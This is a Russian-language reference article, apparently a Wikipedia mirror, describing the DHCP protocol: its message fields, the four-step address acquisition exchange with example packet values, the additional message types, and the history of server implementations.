Устройство протокола

Протокол DHCP является клиент-серверным, то есть в его работе участвуют клиент DHCP и сервер DHCP. Передача данных производится при помощи протокола UDP. По умолчанию запросы от клиента делаются на 67 порт к серверу, сервер в свою очередь отвечает на порт 68 к клиенту, выдавая адрес IP и другую необходимую информацию, такую, как сетевую маску, маршрутизатор и серверы DNS.

Структура сообщений DHCP

Все сообщения протокола DHCP разбиваются на поля, каждое из которых содержит определённую информацию. Все поля, кроме последнего (поля опций DHCP), имеют фиксированную длину.

ПолеОписаниеДлина (в байтах)
opТип сообщения. Например может принимать значения: BOOTREQUEST (0x01, запрос от клиента к серверу) и BOOTREPLY (0x02, ответ от сервера к клиенту).1
htypeТип аппаратного адреса. Допустимые значения этого поля определены в RFC 1700 «Assigned Numbers». Например, для MAC-адреса Ethernet это поле принимает значение 0x01.1
hlenДлина аппаратного адреса в байтах. Для MAC-адреса Ethernet —0x06.1
hopsКоличество промежуточных маршрутизаторов (так называемых агентов ретрансляции DHCP), через которые прошло сообщение. Клиент устанавливает это поле в 0x00.1
xidУникальный идентификатор транзакции в 4 байта, генерируемый клиентом в начале процесса получения адреса.4
secsВремя в секундах с момента начала процесса получения адреса. Может не использоваться (в этом случае оно устанавливается в 0x0000).2
flagsПоле для флагов — специальных параметров протокола DHCP.2
ciaddrIP-адрес клиента. Заполняется только в том случае, если клиент уже имеет собственный IP-адрес и способен отвечать на запросы ARP (это возможно, если клиент выполняет процедуру обновления адреса по истечении срока аренды).4
yiaddrНовый IP-адрес клиента, предложенный сервером.4
siaddrIP-адрес сервера. Возвращается в предложении DHCP (см. ниже).4
giaddrIP-адрес агента ретрансляции, если таковой участвовал в процессе доставки сообщения DHCP до сервера.4
chaddrАппаратный адрес (обычно MAC-адрес) клиента.16
snameНеобязательное имя сервера в виде нуль-терминированной строки.64
fileНеобязательное имя файла на сервере, используемое бездисковыми рабочими станциями при удалённой загрузке. Как и sname, представлено в виде нуль-терминированной строки.128
optionsПоле опций DHCP. Здесь указываются различные дополнительные параметры конфигурации. В начале этого поля указываются четыре особых байта со значениями 99, 130, 83, 99 («волшебные числа»), позволяющие серверу определить наличие этого поля. Поле имеет переменную длину, однако DHCP-клиент должен быть готов принять DHCP-сообщение длиной в 576 байт (в этом сообщении поле options имеет длину 340 байт).переменная

Пример процесса получения адреса

Рассмотрим пример процесса получения IP-адреса клиентом от сервера DHCP. Предположим, клиент ещё не имеет собственного IP-адреса, но ему известен его предыдущий адрес — 192.168.1.100. Процесс состоит из четырёх этапов. Эти этапы часто сокращаются как DORA (Discovery, Offer, Request, и Acknowledgement)

Обнаружение DHCP

В начале клиент выполняет широковещательный запрос по всей физической сети с целью обнаружить доступные DHCP-серверы. Он отправляет сообщение типа DHCPDISCOVER, при этом в качестве IP-адреса источника указывается 0.0.0.0 (если компьютер ещё не имеет собственного IP-адреса), а в качестве адреса назначения —широковещательный адрес 255.255.255.255.

Клиент заполняет несколько полей сообщения начальными значениями:

  • В поле xid помещается уникальный идентификатор транзакции, который позволяет отличать данный процесс получения IP-адреса от других, протекающих в то же время.
  • В поле chaddr помещается аппаратный адрес (MAC-адрес) клиента.
  • В поле опций указывается последний известный клиенту IP-адрес. В данном примере это 192.168.1.100. Это необязательно и может быть проигнорировано сервером.

Сообщение DHCPDISCOVER может быть распространено за пределы локальной физической сети при помощи специально настроенных агентов ретрансляции DHCP, перенаправляющих поступающие от клиентов сообщения DHCP серверам в других подсетях.

Не всегда процесс получения IP адреса начинается с DHCPDISCOVER. В случае, если клиент ранее уже получал IP адрес и срок его аренды ещё не прошёл — клиент может пропустить стадию DHCPDISCOVER начав с запроса DHCPREQUEST отправляемого с идентификатором сервера, который выдал адрес в прошлый раз. В случае же отсутствия ответа от DHCP сервера, выдавшего настройки в прошлый раз, клиент отправляет DHCPDISCOVER. Тем самым, клиент начинает процесс получения с начала, обращаясь уже ко всем DHCP серверам в сегменте сети.

Предложение DHCP

Получив сообщение от клиента, сервер определяет требуемую конфигурацию клиента в соответствии с указанными сетевым администратором настройками. В данном случае DHCP-сервер согласен с запрошенным клиентом адресом 192.168.1.100. Сервер отправляет ему ответ (DHCPOFFER), в котором предлагает конфигурацию. Предлагаемый клиенту IP-адрес указывается в поле yiaddr. Прочие параметры (такие, как адреса маршрутизаторов и DNS-серверов) указываются в виде опций в соответствующем поле.

Это сообщение DHCP-сервер отправляет хосту, пославшему DHCPDISCOVER, на его MAC, при определенных обстоятельствах сообщение может распространяться как широковещательная рассылка. Клиент может получить несколько различных предложений DHCP от разных серверов; из них он должен выбрать то, которое его «устраивает».

Запрос DHCP

Выбрав одну из конфигураций, предложенных DHCP-серверами, клиент отправляет запрос DHCP (DHCPREQUEST). Он рассылается широковещательно; при этом к опциям, указанным клиентом в сообщении DHCPDISCOVER, добавляется специальная опция — идентификатор сервера — указывающая адрес DHCP-сервера, выбранного клиентом (в данном случае — 192.168.1.1).

Подтверждение DHCP

Наконец, сервер подтверждает запрос и направляет это подтверждение (DHCPACK) клиенту. После этого клиент должен настроить свой сетевой интерфейс, используя предоставленные опции.

Вид сообщений

Ниже приведены значения каждого поля для каждого из отправляемых в процессе сообщений DHCP.

Обнаружение DHCP
DHCPDISCOVER
UDP Src=0.0.0.0 Dest=255.255.255.255
OPHTYPEHLENHOPS
0x010x010x060x00
XID
0x3903F326
SECSFLAGS
0x00000x0000
CIADDR
0x00000000
YIADDR
0x00000000
SIADDR
0x00000000
GIADDR
0x00000000
CHADDR
0x0000001d6057ed80
SNAME
(пустое поле)
FILE
(пустое поле)
OPTIONS
Опция DHCP 53: обнаружение DHCP
Опция DHCP 50: запрос адреса 192.168.1.100
Предложение DHCP
DHCPOFFER
UDP Src=192.168.1.1 Dest=255.255.255.255
OPHTYPEHLENHOPS
0x020x010x060x00
XID
0x3903F326
SECSFLAGS
0x00000x0000
CIADDR
0x00000000
YIADDR
0xC0A80164
SIADDR
0xC0A80101
GIADDR
0x00000000
CHADDR
0x0000001d6057ed80
SNAME
(пустое поле)
FILE
(пустое поле)
OPTIONS
Опция DHCP 53: предложение DHCP
Опция DHCP 1: маска подсети 255.255.255.0
Опция DHCP 3: маршрутизатор 192.168.1.1
Опция DHCP 51: срок аренды IP-адреса — 1 день
Опция DHCP 54: DHCP-сервер 192.168.1.1
Запрос DHCP
DHCPREQUEST
UDP Src=0.0.0.0 Dest=255.255.255.255
OPHTYPEHLENHOPS
0x010x010x060x00
XID
0x3903F326
SECSFLAGS
0x00000x0000
CIADDR
0x00000000
YIADDR
0x00000000
SIADDR
0x00000000
GIADDR
0x00000000
CHADDR
0x0000001d6057ed80
SNAME
(пустое поле)
FILE
(пустое поле)
OPTIONS
Опция DHCP 53: запрос DHCP
Опция DHCP 50: запрос адреса 192.168.1.100
Опция DHCP 54: DHCP-сервер 192.168.1.1
Подтверждение DHCP
DHCPACK
UDP Src=192.168.1.1 Dest=255.255.255.255
OPHTYPEHLENHOPS
0x020x010x060x00
XID
0x3903F326
SECSFLAGS
0x00000x0000
CIADDR
0x00000000
YIADDR
0xC0A80164
SIADDR
0x00000000
GIADDR
0x00000000
CHADDR
0x0000001d6057ed80
SNAME
(пустое поле)
FILE
(пустое поле)
OPTIONS
Опция DHCP 53: подтверждение DHCP
Опция DHCP 1: маска подсети 255.255.255.0
Опция DHCP 3: маршрутизатор 192.168.1.1
Опция DHCP 51: срок аренды IP-адреса — 1 день
Опция DHCP 54: DHCP-сервер 192.168.1.1

Прочие сообщения DHCP

Помимо сообщений, необходимых для первоначального получения IP-адреса клиентом, DHCP предусматривает несколько дополнительных сообщений для выполнения иных задач.

Отказ DHCP

Если после получения подтверждения (DHCPACK) от сервера клиент обнаруживает, что указанный сервером адрес уже используется в сети, он рассылает широковещательное сообщение отказа DHCP (DHCPDECLINE), после чего процедура получения IP-адреса повторяется. Использование IP-адреса другим клиентом можно обнаружить, выполнив запрос ARP.

Сообщение отмены DHCP (DHCPNAK). При получении такого сообщения соответствующий клиент должен повторить процедуру получения адреса.

Освобождение DHCP

Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения DHCP (DHCPRELEASE) тому серверу, который предоставил ему адрес в аренду. В отличие от других сообщений DHCP, DHCPRELEASE не рассылается широковещательно.

Информация DHCP

Сообщение информации DHCP (DHCPINFORM) предназначено для определения дополнительных параметров TCP/IP (например, адреса маршрутизатора по умолчанию, DNS-серверов и т. п.) теми клиентами, которым не нужен динамический IP-адрес (то есть адрес которых настроен вручную). Серверы отвечают на такой запрос сообщением подтверждения (DHCPACK) без выделения IP-адреса.

Реализации

Компания Microsoft впервые включила сервер DHCP в поставку серверной версии Windows NT 3.5, выпущенной в 1994 году. Начиная с Windows 2000 Server реализация DHCP-сервера от Microsoft позволяет динамически обновлять записи DNS, что используется в Active Directory.

Internet Systems Consortium выпустил первую версию ISC DHCP Server (для Unix-подобных систем) 6 декабря 1997 года. 22 июня 1999 года вышла версия 2.0, более точно соответствующая стандарту.

Компания Cisco включила сервер DHCP в Cisco IOS 12.0 в феврале 1999 года. Sun добавила DHCP-сервер в Solaris 8 в июле 2001 года.

В настоящее время существуют реализации сервера DHCP для ОС Windows в виде отдельных программ, в том числе открытых[2], позволяющих выполнять роль сервера DHCP компьютерам под управлением не серверных версий данной ОС.

Примечания

См. также

Ссылки

wikipedia.green

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *